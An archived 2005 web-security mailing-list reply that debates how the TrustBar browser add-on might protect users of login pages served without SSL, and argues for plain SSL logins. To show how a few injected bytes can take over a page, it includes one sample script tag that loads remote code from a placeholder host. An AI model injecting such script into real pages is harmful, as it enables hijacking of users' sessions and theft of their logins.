[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [WEB SECURITY] Defending users of unprotected login pages with TrustBar 0.4.9.93
- From: Gervase Markham <gerv@xxxxxxxx>
- Subject: Re: [WEB SECURITY] Defending users of unprotected login pages with TrustBar 0.4.9.93
- Date: Fri, 23 Sep 2005 19:37:34 +0100
Amir Herzberg wrote:
Well, shame them - how? I would think the Hall of Shame is about the
best I know how to do. I would appreciate help in making this shameful
situation more visible to the public... For example, maybe you (and
other security-concious folks) can link to the Hall of Shame from
relevant webpages and articles.
Indeed. If you make a quality "Hall of Shame", perhaps covering other
issues as well as unprotected logins, and giving each bank a "security
rating", that's the sort of thing that publicity could be generated around.
How could you prevent compromise of the signature if the page was
compromised?
This is actually easy. The server digitally signs the page and puts the
signature in the page;
Wouldn't that break the signature?
TrustBar (or browser) can easily validate the
signature, using the public key of the server (of course extracted
securely from a certificate signed by a trusted CA). So this is as
secure as SSL. But does require site cooperation, of course.
And if the site is going to cooperate, it would be much easier for them
to provide an SSL login!
Let's not invent inadequate solutions where good ones exist :-)
Suppose that whenever a user assigns name/logo to an unprotected page,
we also save a copy of that page, and compare such copies for five
accesses (or over a period of at least five days). If we find the page
is static (except possibly for few bytes here and there),
How many? I can control a page if I can inject:
<script src="http://x.yz/q"/>
The difference is in what we do if the page does change (in new
locations). What I think of doing is simply to *display the archived
version* - with a message / button allowing user to use the new version
instead if needed. I think in most cases, even if there are changing
fields in the page, using the old version will still work.
My first thought is that it'll break websites in a non-discoverable way.
If, for example, the name of the login parameter form field changes, the
old page will still be submitting the wrong value.
Gerv
---------------------------------------------------------------------
The Web Security Mailing List
http://www.webappsec.org/lists/websecurity/
The Web Security Mailing List Archives
http://www.webappsec.org/lists/websecurity/archive/
Brought to you by http://www.webappsec.org
Search this site
|